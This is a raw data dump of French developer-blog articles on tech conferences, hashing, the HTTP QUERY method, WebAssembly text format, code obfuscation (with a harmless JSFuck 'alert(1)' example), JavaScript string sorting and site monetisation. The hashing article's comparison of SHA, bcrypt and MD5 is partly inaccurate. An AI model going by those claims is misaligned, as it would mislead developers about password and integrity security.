Le site web : [https://agiletourbordeaux.fr/](https://agiletourbordeaux.fr/) \n> Prochaine édition : Non communiquée\n\n### SymfonyLive Paris\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/3.JPG)\n\nTout est dans le nom, non ? Et puis il n'y a aucune description sur le site alors...\n\n> Le site web : [https://live.symfony.com/2022-paris/](https://live.symfony.com/2022-paris/) \n> Prochaine édition : Non communiquée\n\n### Codeurs en seine - Rouen/Twitch\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-11.png)\n\nL'équipe Codeurs en Seine vous propose une journée complète le jeudi 18  novembre sur des conférences aux thèmes divers et variés : Web, Devops,  UX, Securité etc.\n\n> Le site web : [https://www.codeursenseine.com](https://www.codeursenseine.com/2021)   \n> Prochaine édition : Non communiquée\n\n## Conventions annulées ou reportées\n\n### Sud web - Toulouse\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-12.png)\n\n> Le site web : [https://sudweb.fr](https://sudweb.fr/2019/)\n\n### Pycon - Bordeaux\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-13.png)\n\nDurant ces deux jours, vous aurez l'occasion de participer à des présentations sur des sujets variés, autour du langage Python, de ses usages, des bonnes pratiques, des retours d'expériences, des partages d'idées…\n\n> Le site web : [https://www.pycon.fr](https://www.pycon.fr/2020/)\n\n","Les dates, descriptions et sites web de toutes les conventions pour développeurs et développeuses en France : Devoxx, Devfest, Async, Web2Day, Afup et bien d'autres !","liste-des-conventions-sur-le-dev-et-la-tech-en-france","2022-01-19T07:01:51.000Z","2023-09-22T14:01:20.671Z","2022-01-19T12:35:30.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/11/headway-F2KRf_QfCqw-unsplash.jpg","Headway sur Unsplash","https://unsplash.com/@headwayio?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1848,"title":1849,"content":1850,"socialTitle":8,"description":1851,"socialDescription":8,"slug":1852,"createdAt":1853,"updatedAt":1854,"publishedAt":1855,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1856,"coverCopyright":1857,"coverCopyrightLink":1858},331,"Comment fonctionne le hashage ?","**Le hashage consiste à faire passer une donnée d'une taille arbitraire dans une fonction qui va la transformer en une donnée d'une taille définie.**\n\n> Pour les mots de passe par exemple, la taille de sortie est souvent plus grande que l'entrée.\n\n**Contrairement au chiffrement, une fonction de hashage est destructive** (ou unilatéral) car on perd de la donnée d'origine, il est impossible de revenir en arrière.\n\n## Concept simplifié\n\n**Prenons une fonction de hashage théorique la plus simple possible**, disons que notre fonction prend une chaine de caractère en entrée, et retourne sa taille :\n\n> f(x) => taille(x)\n\nCe qui nous donne \"bonjour\" => 7, \"password\" => 8 et \"chien\" => 5\n\n## Pourquoi utiliser un hash ?\n\n### Pour les mots de passe\n\nOn voit bien dans l'exemple précédent, qu'une fois passé dans la fonction, **le mot de passe n'est plus récupérable, donc si on le stocke dans une base de données, il est \"protégé\".**\n\n> Impossible de récupérer le mot \"bonjour\" à partir du simple chiffre 7\n\nPour l'authentification, il suffira de hasher en direct le mot de passe fourni par l'utilisateur et le comparer au hash stocké dans la base, **car la fonction de hashage doit toujours retourner le même hash pour la même donnée en entrée.**\n\n### Pour simplifier/représenter des données\n\nUn hash est une représentation simplifiée d'une donnée. Il existe beaucoup d'algorithmes différent, mais la bonne pratique veut que **deux hashs, issus de deux données quasi-similaires à quelques bits près, soient eux, très différents.**\n\n> Exemple théorique: le hash du mot \"hello\" égal \"ABCDEF\" tandis que le hash de \"hellp\" égal \"ZYXWV\"\n\nCe qui signifie que la comparaison entre les hashs, plutôt que les données d'origines est plus optimisée, car **les premiers bits du hash sont déjà différents.**\n\nEt dans le cas de comparaison de gros fichier, le hash utilisé sera beaucoup plus léger que l'entièreté des données contenues, **donc la comparaison sera plus efficace, c'est ce que l'on appelle le \"checksum\".**\n\n## Quels algorithmes ?\n\nVous l'aurez compris, le problème avec notre fonction de hashage simplifiée, ce sont les collisions. Car en l'occurence, le hash de \"bonjour\" est égal à 7 mais le hash de \"baisers\" est aussi égal à 7, **c'est ce que l'on appelle une collision, est c'est l'une des problématiques du hashage.**\n\n**En pratique, les fonctions de hashage cryptographique génère des hash assez longs, parfois plus longs que la valeur d'entrée**, par exemple le hash du mot \"bonjour\" avec l'algorithme SHA-256 est égale à :\n\n> 2cb4b1431b84ec15d35ed83bb927e27e8967d75f4bcd9cc4b25c8d879ae23e18\n\nalors que le hash du mot \"baisers\" est égal à :\n\n> 73beed7425bd31551890c0727f4b169cd99b5c708fa8d50a713747e0878e2580\n\n**La complexité d'une algorithme de hashage réside dans son ratio entre le temps d'exécution et le nombre de collisions possibles**, par exemple la famille d'algorithme SHA est plus rapide à s'exécuter, mais son nombre de collision possible est plus élevé que d'autres algorithme comme le Bcrypt.\n\nÀ moins que la contrainte de temps d'exécution soit une grosse problématique, **il est recommandé d'utiliser l'algorithme BCrypt pour les mots de passe par exemple.**\n\nMais il existe également d'autres algorithmes encore plus rapides, car les collisions sont moins critiques, **comme le hash MD5 qui est très rapide et permet de faire du checksum de manière efficace !**\n\n","On l'utilise pour les mots de passes et d'autres vérifications de sécurité, mais qu'est-ce qu'un hash ?","comment-fonctionne-le-hashage","2022-01-27T07:35:37.000Z","2023-09-19T15:05:43.790Z","2022-01-27T08:10:34.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/01/max-delsid-81QFH8r4xog-unsplash.jpg","Max Delsid sur Unsplash","https://unsplash.com/@maxdelsid?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1860,"title":1861,"content":1862,"socialTitle":8,"description":1863,"socialDescription":8,"slug":1864,"createdAt":1865,"updatedAt":1866,"publishedAt":1867,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1868,"coverCopyright":1869,"coverCopyrightLink":1870},332,"Query: Nouvelle méthode HTTP bientôt disponible ?","Il existe actuellement 9 méthodes HTTP différentes, dont 7 pour un usage \"classique\" et **5 généralement utilisées dans un projet web** (GET, POST, PUT, PATCH, DELETE).\n\n[Si vous n'êtes pas déjà familier avec les méthodes HTTP existante, **je vous conseille de lire mon précédent article au préalable**.](https://code-garage.fr/comprendre-les-methodes-des-requetes-http/)\n\n**Et bien une nouvelle méthode HTTP est en cours de discussion** afin de venir combler un trou bien connu dans la sémantique du protocole web.\n\n> La proposition est actuellement consignée dans une RFC \"brouillon\", [disponible juste ici](https://www.ietf.org/id/draft-ietf-httpbis-safe-method-w-body-02.html) !\n\n## La problématique\n\n> En introduction, je parlai d'un morceau manquant dans la sémantique HTTP, mais lequel est-ce ?\n\nSi vous avez déjà construit une API REST un tant soit peu complexe, **vous aurez sûrement déjà rencontré le problème suivant:**\n\n**Imaginons que je veuille créer une fonctionnalité de recherche avancée pour une ressource**, avec une recherche textuelle, plus des filtres et sous-filtres assez complexes. J'ai trois problématiques :\n\n1. Faire passer ma recherche, mes filtres et ma pagination dans **les paramètres de l'url d'une requête GET est compliqué**, surtout si mon schéma de filtres est un JSON complexe.\n2. Si j'utilise une requête POST pour passer mes données dans le corps de la requête, **je casse le principe de [non-idempotence](https://code-garage.fr/que-signifie-idempotence-en-programmation/) induit par POST**\n3. **Les requêtes POST ne sont pas censées être mises en cache**, hors j'ai besoin du cache pour optimiser ma fonctionnalité.\n\n**C'est pour résoudre ce genre de problèmes-ci que la méthode \"QUERY\" a été travaillée.**\n\n## La méthode Query\n\nVoici les caractéristiques (simplifiées) de cette méthode :\n\n* **Elle est idempotente**, à l'instar de la méthode GET, car l'objectif est également de récupérer de la donnée\n* **Elle peut contenir un payload** dans le corps de la requête\n* La réponse **peut-être mise en cache**\n\nCes trois caractéristiques reflètent l'identité de cette méthode, **la croisée des mondes entre les méthodes GET et POST pour ouvrir le champ sémantique du protocole.**\n\nCertaines technologies, comme le GraphQL, basées sur les deux méthodes précédemment citée pourraient, dans le futur, faire usage de **cette nouvelle méthode pour éviter de tordre la sémantique du protocole par exemple.**\n\n**Pour plus d'infos**, voici la RFC qui documente cette future méthode : [https://www.ietf.org/id/draft-ietf-httpbis-safe-method-w-body-02.html](https://www.ietf.org/id/draft-ietf-httpbis-safe-method-w-body-02.html)\n\n","Une nouvelle méthode dans le protocole HTTP ? Quelle est son utilité ?","une-nouvelle-methode-http-query-bientot-disponible","2022-01-28T08:40:31.000Z","2023-09-19T15:05:43.822Z","2022-02-07T06:09:41.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/01/documerica-pDJothF9PU0-unsplash.jpg","Documerica sur Unsplash","https://unsplash.com/@documerica?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1872,"title":1873,"content":1874,"socialTitle":8,"description":1875,"socialDescription":8,"slug":1876,"createdAt":1877,"updatedAt":1878,"publishedAt":1879,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1880,"coverCopyright":1881,"coverCopyrightLink":1882},333,"Écrire du Web Assembly \"from scratch\" avec WAT","> Dans un précédent article nous avons parlé du concept de Web Assembly, de sa nature et de son utilité ([voir l'article](https://code-garage.fr/comprendre-le-web-assembly-wasm/)).\n\nLe WASM est généralement compilé à partir d'un autre langage, plutôt bas-niveau (C++, Rust, Go,...), mais le saviez-vous, **il est également possible d'écrire du Web Assembly à la main (from scratch) ?**\n\n## Web Assembly Text Format (WAT)\n\n**Le [WAT](https://developer.mozilla.org/en-US/docs/WebAssembly/Understanding_the_text_format) est une représentation textuelle du format binaire de WASM**, qui permet deux choses :\n\n* Ecrire du WASM directement, **sans le compilier depuis un autre langage**\n* **Comprendre et analyser** le fonctionnement d'un module WASM existant\n\nBien sûr, en théorie, rien ne vous empêche d'écrire un module en web assembly sous le format binaire, **mais avouons, la tâche est plutôt imbuvable :**\n\n```\n00 61 73 6d 01 00 00 00 \n01 07 01 60 02 7f 7f 01 \n7f 03 02 01 00 07 0c 01 \n08 6d 75 6c 74 69 70 6c \n79 00 00 0a 09 01 07 00 \n20 00 20 01 6c 0b\n```\n\n> Ci-dessus, un module exposant une simple fonction pour multiplier deux entiers 32 bits.\n\nEt si jamais vous viens l'envie de tenter l'expérience, **voici la documentation complète de la spécification** : [https://webassembly.github.io/spec/core/index.html](https://webassembly.github.io/spec/core/index.html)\n\nMais si, comme le commun des mortels, vous ne passez pas vos Samedi soirs à manger de l'hexadécimal, **le format textuel WAT sera sûrement bien plus adapté :**\n\n```\n(module\n (func $multiply (param $lhs i32) (param $rhs i32) (result i32)\n get_local $lhs\n get_local $rhs\n i32.mul)\n (export \"multiply\" (func $multiply))\n)\n```\n\n> Ci-dessus le même module, mais au format WAT\n\n**Chaque structure de la grammaire de Web Assembly a été ramené dans un langage lisible, court et relativement facile** à écrire donc vous pouvez retrouver [toute la documentation ici.](https://webassembly.github.io/spec/core/text/index.html)\n\nUne fois votre module écrit en WAT, il vous suffira de **le compiler en WASM** avec des outils comme celui-ci :\n\n::: bookmark\n[![](https://static.npmjs.com/338e4905a2684ca96e08c7780fc68412.png)wat-wasm](https://www.npmjs.com/package/wat-wasm?activeTab=readme)\n:::\n\n","Compiler vers du Web Assembly c'est bien, mais l'écrire à la main, c'est mieux ?","ecrire-du-web-assembly-from-scratch-avec-wat","2022-01-28T10:12:11.000Z","2023-09-19T15:05:43.858Z","2022-01-31T07:44:35.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/01/rick-mason-2FaCKyEEtis-unsplash.jpg","Rick Mason sur Unsplash","https://unsplash.com/@egnaro?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1884,"title":1885,"content":1886,"socialTitle":8,"description":8,"socialDescription":8,"slug":1887,"createdAt":1888,"updatedAt":1889,"publishedAt":1890,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1891,"coverCopyright":1180,"coverCopyrightLink":1181},339,"Qu'est-ce que l'obfuscation de code et à quoi ça sert ?","Rendre des données secrètes, le [chiffrement et le déchiffrement](https://code-garage.fr/blog/comment-fonctionne-le-chiffrement-symetrique/), **font partie intégrante de l'histoire de l'informatique.** Que ce soit pour des raisons de sécurité des données personnelles, des stratégies géopolitiques, industrielles et j'en passe...\n\nMais lorsque vous distribuez un logiciel, ou une application disponible sur le web, le code, qu'il soit compilé (logiciel) ou non (web), doit être exécutable par la machine cliente et **ne doit donc pas être chiffré car il devient alors inutilisable.**\n\nL'alternative parfois choisie est donc de modifier suffisamment le code d'origine (de manière automatique ou manuel) afin que la lecture et la compréhension de ce dernier soit rendue beaucoup plus difficile pour un utilisateur malveillant, **c'est ce que l'on appelle l'obfuscation (brouillage en français).**\n\n> Cette technique est-elle réellement efficace, et quelles sont ces différentes utilisations, c'est ce que nous allons voir dans la suite de cet article !\n\n## 3 types d'obfuscation de code\n\n### Optimisation\n\nL'obfuscation n'est pas toujours une volonté directe, **mais parfois une conséquence, notamment dans le monde du front-end web.** Afin d'optimiser le temps de chargement des sites et applications web, il est recommandé d'utiliser des outils dit de \"minification\".\n\nLors de la minification, tous les caractères inutiles sont supprimés, les noms de variables et de fonctions sont raccourcis au maximum, **donnant un code beaucoup moins lisible, mais plus optimisé pour le chargement.**\n\nSi vous voulez en savoir plus sur la minification, je vous conseille de lire notre article qui y est consacré : [https://code-garage.fr/blog/pourquoi-et-comment-minifier-son-code-avec-parcel/](https://code-garage.fr/blog/pourquoi-et-comment-minifier-son-code-avec-parcel/)\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/12/markus-spiske-Fa0pTKuoDVY-unsplash.jpg)Pourquoi et comment minifier son code ? - Nicolas Brondin-Bernard](https://code-garage.fr/blog/pourquoi-et-comment-minifier-son-code-avec-parcel/)\n:::\n\n### Artistique\n\nLe code, est un art. J'espère que cette affirmation a fait son chemin et n'est plus à démontrer, mais il existe des compétition d'obfuscation de code, **afin de faire ressortir d'avantage le côté artistique de la programmation.**\n\nC'est notamment le cas de l'[IOCCC](https://www.ioccc.org/) pour \"International Obfuscation C Code Contest\", une compétition composée de plusieurs thématiques, mais tournant toujours autour de l'obfuscation.\n\n**L'objectif est de produire un code C fonctionnel, mais avec des contraintes** de tailles, formes, artistiques, etc...\n\nVoici un exemple très parlant, d'un code sous la forme d'un donut (à droite), qui à l'exécution produit une animation ascii d'un donut en rotation (à gauche).\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/02/spinning-donut-featured.gif)\n\nSi l'explication vous intéresse, c'est ici : [https://www.a1k0n.net/2011/07/20/donut-math.html](https://www.a1k0n.net/2011/07/20/donut-math.html)\n\n### Sécurité\n\nLa raison la plus évidente, est la tentative de brouiller un code source (et ou le code compilé) afin d'empêcher d'autres développeurs et développeuses **d'en comprendre les secrets, de le réutiliser ou de le modifier.**\n\nCe type d'obfuscation peut par exemple consister en :\n\n* Changement de noms de variables/fonctions\n* Ajouts de modules/fonctions/variables inutiles\n* Chiffrement/Déchiffrement de modules et chargement à la volée\n* Ajout de milliers de commentaires, de saut de lignes, tabulations, etc...\n\n**On peut par exemple citer l'initiative JSFuck**, qui donne une belle représentation d'obfuscation :\n\n```\nalert(1);\n```\n\nDevient en JSFuck (et est interprétable par un interpréteur Javascript classique) :\n\n```\n[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[+!+[]]]+[+!+[]])\n```\n\nSi vous voulez comprendre comment celà fonctionne : [https://github.com/aemkei/jsfuck](https://github.com/aemkei/jsfuck)\n\n::: bookmark\n[![](https://opengraph.githubassets.com/d2c2057c2c6eaceca97ee6f9a098fb45248d78d5e575de24103f02e9795258c5/aemkei/jsfuck)GitHub - aemkei/jsfuck: Write any JavaScript with 6 Characters: []()!+](https://github.com/aemkei/jsfuck)\n:::\n\n## Est-ce vraiment utile ?\n\nPour la minification et le côté artistique, la question ne se pose pas trop, mais côté sécurité, **y'a-t'il des bénéfices à \"obscurcir\" son code ?**\n\nEt bien pas vraiment, en tout cas **ce n'est pas une sécurité sur laquelle il faut baser sa stratégie.** Cela peut ralentir les \"attaques\" ou décourager les moins persévérants ou talentueux, mais tant que votre code se retrouve sur la machine de quelqu'un, il pourra toujours être utilisé, ou détourné.\n\n","quest-ce-que-lobfuscation-de-code-et-a-quoi-ca-sert","2022-02-08T11:08:53.000Z","2023-09-19T15:05:43.997Z","2022-02-14T08:19:11.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/02/markus-spiske-hvSr_CVecVI-unsplash.jpg",{"id":1893,"title":1894,"content":1895,"socialTitle":8,"description":1896,"socialDescription":8,"slug":1897,"createdAt":1898,"updatedAt":1899,"publishedAt":1900,"styleHead":8,"scriptFooter":1771,"seoTitle":8,"seoDescription":8,"legacyCover":1901,"coverCopyright":8,"coverCopyrightLink":8},342,"Trier des chaînes de caractères en Javascript","Avoir une liste de string et la trier dans un ordre alphabétique (ou inverse) en Javascript **parait être un exercice à première vue plutôt simple.**\n\nMais en réalité, il renferme son lot de complication, et également, **une solution très simple à mettre en place.**\n\n> Examinons d'abord le problème\n\n## Problème\n\nVoici un simple exemple de l'utilisation de la méthode .sort() sur un tableau de chaînes de caractères, **qui donne des résultats... étranges :**\n\n```\n/* Tri avec la méthode sort()*/\n\nconst arr = [\"Chien\", \"abricot\", \"électron\",\"résistance\", \"Tomate\"];\nconst sortedArray = arr.sort();\n\nconsole.log(sortedArray);\n// Fail -> Array(5) [ \"Chien\", \"Tomate\", \"abricot\", \"résistance\", \"électron\" ]\n```\n\n> Si l'on prend simplement les premières lettres de chaque mot dans la liste triée \"c, t, a, r, é\", on voit déjà un problème, mais qu'elle est l'explication ?\n\nJavascript va tout simplement trouver un moyen mathématique de trier cette liste, et choisir de regarder **dans [le tableau ascii](https://code-garage.fr/comment-resoudre-les-problemes-daccents-dans-vos-pages-web/) la valeur numérique de chaque lettre, et les comparer entres-elles.**\n\nEn l’occurrence, **les valeurs des lettres majuscules sont toujours plus petites** (65+) que les minuscules (97+), et les lettres accentuées sont beaucoup plus grandes (128+).\n\n## Solution\n\n**Heureusement il existe une méthode spéciale en Javascript pour comparer deux caractères ensemble**, [en tenant compte de la langue de l'utilisateur](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare), et couplé à la méthode sort, on arrive finalement à un réel tri par ordre alphabétique, sans problème d'accent ni de majuscule :\n\n```\n/* Tri avec la méthode sort() et localeCompare()*/\n\nconst arr = [\"Chien\", \"abricot\", \"électron\",\"résistance\", \"Tomate\"];\nconst sortedArray = arr.sort(function (a, b) {\n return a.localeCompare(b);\n});\n\nconsole.log(sortedArray);\n// Hourra ! -> Array(5) [ \"abricot\", \"Chien\", \"électron\", \"résistance\", \"Tomate\" ]\n```\n\n","Quand la méthode sort() fait des siennes avec les strings en Javascript !","trier-correctement-des-chaines-de-caracteres-en-javascript","2022-02-21T07:36:38.000Z","2023-09-19T15:05:44.025Z","2022-02-21T09:16:42.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/02/IMG_20220213_122618.jpg",{"id":1903,"title":1904,"content":1905,"socialTitle":8,"description":1906,"socialDescription":8,"slug":1907,"createdAt":1908,"updatedAt":1909,"publishedAt":1910,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1911,"coverCopyright":1912,"coverCopyrightLink":1913},343,"Quelle est la différence entre Javascript et ECMAScript ?","Je ne vous apprendrais rien si je vous dis que Javascript est un langage de programmation, **originellement destiné au web et l'un des plus populaire aujourd'hui.**\n\n**Mais en réalité, la définition du dessus est fausse, car trop imprécise.** Je m'explique :\n\n* Javascript est avant tout **un nom commercial**, [une marque déposée](https://tsdr.uspto.gov/#caseNumber=75026640&caseType=SERIAL_NO&searchType=statusSearch)\n* Le nom \"Javascript\" ne désigne pas un langage, mais plutôt **l'implémentation d'un langage**\n\n## Explications\n\nCréé en 1995 en seulement 10 jours par Brendan Eich pour le navigateur Netscape, le langage a d'abord **pour nom de code \"Mocha\", puis \"LiveScript\" pour être finalement rebaptisé \"Javascript\".**\n\nLa marque déposée \"Java\" est alors détenue par Sun Microsystems et **un agrément commercial sera passé entre les deux groupes** afin de permettre à Netscape l'utilisation du nom \"Javascript\".\n\n> En 2010, Sun sera racheté par Oracle, qui obtiendra par la même occasion les droits d'usage du nom commercial.\n\nAvec le développement de langage de programmations interprétés par le navigateur, **une uniformisation et une standardisation des technologies devient très vite nécessaire.**\n\nC'est pourquoi l'European Computer Manufacturers Association ([ECMA](https://www.ecma-international.org)) rédige **la première version du standard de ECMAScript 1 en Juin 1997** avec l'aide de l'ISO et de l'[IEC](https://standards.iteh.ai/catalog/standards/iso/bac8e292-7136-4211-9516-2990340e30a0/iso-iec-16262-1998) (International Electrotechnical Commission).\n\nDepuis lors, chaque éditeur de navigateur web travaille sur des implémentations du langage de son côté, en travaillant sur de nouvelles fonctionnalités **mais en continuant de respecter les évolutions du standard (plus ou moins vite).**\n\n## En résumé\n\n**Pour faire court, \"Javascript\" est le nom commercial de l'implémentation** du langage interprété par le navigateur et détenu par Oracle, tandis que **le nom ECMAScript désigne le standart du langage global**, géré par ECMA International et l'ISO.\n\n**Si l'histoire autour de Javascript vous intrigue**, je vous invite à lire mon article rédigé à l'occasion des 25 ans du \"langage\" et rassemblant \"[7 choses que vous ignorez sur Javascript !](https://code-garage.fr/blog/choses-que-vous-ignorez-histoire-javascript-anniversaire-25-ans/)\"\n\n","Pourquoi conserver deux noms pour une même technologie ?","quelle-est-la-difference-entre-javascript-et-ecmascript","2022-02-22T07:35:14.000Z","2023-09-19T15:05:44.058Z","2022-02-22T09:16:45.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/02/kelly-sikkema-HHtzGcZkRZY-unsplash.jpg","Kelly Sikkema sur Unsplash","https://unsplash.com/@kellysikkema?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1915,"title":1916,"content":1917,"socialTitle":8,"description":1918,"socialDescription":8,"slug":1919,"createdAt":1920,"updatedAt":1921,"publishedAt":1922,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1923,"coverCopyright":1924,"coverCopyrightLink":1925},345,"6 façons de monétiser un site ou une application web","Le web est l'une des plus belles inventions de l'humanité, c'est un moyen de transmettre des connaissances, **mais cela peut également devenir une source de revenus !**\n\nDans cet article je vais vous lister toutes les différentes manières pour gagner de l'argent avec un site web (ou une application) existantes pour **que vous puissiez décider de ce qui colle le mieux avec votre projet.**\n\nÀ noter que toutes les sources de revenus ne sont pas toujours compatibles avec la totalité des projets, et que **pour gagner de l'argent sur internet, il faut à minima ouvrir une micro-entreprise et déclarer ses revenus !**\n\n> Si vous souhaitez monter une micro-entreprise, je vous invite à lire [mon guide pas à pas](https://code-garage.fr/comment-devenir-developpeur-web-freelance-en-france-micro-entreprise/) (article) sur le sujet !\n\n## La publicité\n\nJe pense, à titre personnel, que le web actuel est suffisamment saturé en publicité, mais il n'empêche que sans cela, **certains projets n'auraient pas pu survivre, et cet article a pour vocation d'être le plus exhaustif possible.**\n\n### Régie publicitaire\n\nUne régie est un réseau d'annonceurs (entreprises) **qui payent afin que leurs publicités soient diffusés sur un large réseau de sites web**. La rémunération se fait au CPC (coût par clic) ou au CPM (Coût pour mille affichages) et **dépendra de votre trafic**, de votre thématique, des annonceurs et parfois même de la saison.\n\nLe problème est que les régies publicitaires intéressantes se comptent sur les doigts des mains, et **il est quasiment impossible de passer à côté d'[Adsense, la régie publicitaire de Google.](https://www.google.com/adsense/start/)**\n\n> Si ça vous intéresse de connaitre mon expérience avec les régies publicitaires, [j'ai publié une vidéo Youtube à ce sujet](https://www.youtube.com/watch?v=U4HqiPnQDOY).\n\n### Partenariats/Sponsoring\n\nUn partenariat est une relation commerciale (de courte ou longue durée) avec **une ou plusieurs entreprises prêtes à payer pour que vous mettiez en avant leurs services ou produits.**\n\nC'est une alternative moins automatisée aux régies publicitaires, **mais qui offre de nombreux avantages:**\n\n* Vous pouvez **refuser les entreprises** qui ne vous conviennent pas\n* Pas d'exploitation des **données personnelles** par des trackers de pub\n* Pleins de formats/**médias possibles** (encarts images, vidéos, placement de produit,...)\n* Souvent **moins dérangeant** car mieux intégré\n\n> Vous le savez peut-être, ce blog est partenaire [du site de recrutement WeLoveDevs](https://welovedevs.com/app/jobs?referral=nicolasbrondin), qui soutient mon travail et propose de super offres d'emploi partout en France !\n\n## La vente de services\n\nCar la majorité des entreprises dans la vie réelle ne sont pas uniquement basées sur de la publicité/visibilité, **il vous est également possible de monétiser l'accès ou l'utilisation de votre site directement comme un service**, sous plusieurs formes, listées ci-dessous.\n\n> C'est ce que l'on qualifie de \"SaaS\" (ou Software-as-a-Service)\n\n### Licences / Abonnements\n\nSi votre outil rend suffisamment service aux gens (au sens large du terme), alors pourquoi ne pas tout simplement **faire payer un abonnement mensuel (ou une licence illimité) afin de pouvoir l'utiliser.**\n\nVous pouvez même proposer une version d'essai afin d'attirer et de rassurer vos potentiels clients !\n\nPour la gestion des abonnements, **des outils de paiements tierces comme [Stripe](https://stripe.com/fr) ou [MangoPay](https://www.mangopay.com/) vous permettront de mettre cela en place très facilement.**\n\n> C'est par exemple le modèle économique de Netflix, payez tous les mois et vous avez accès au catalogue de tous les films. Payez plus cher et regardez en HD !\n\n### Achats intégrés\n\nVous voulez garder l'utilisation du cœur de votre produit gratuit, mais vous voulez quand même gagner de l'argent ?\n\nIl est possible de suivre le modèle des achats \"In-App\" : Vous proposez un site pour apprendre les langues ? 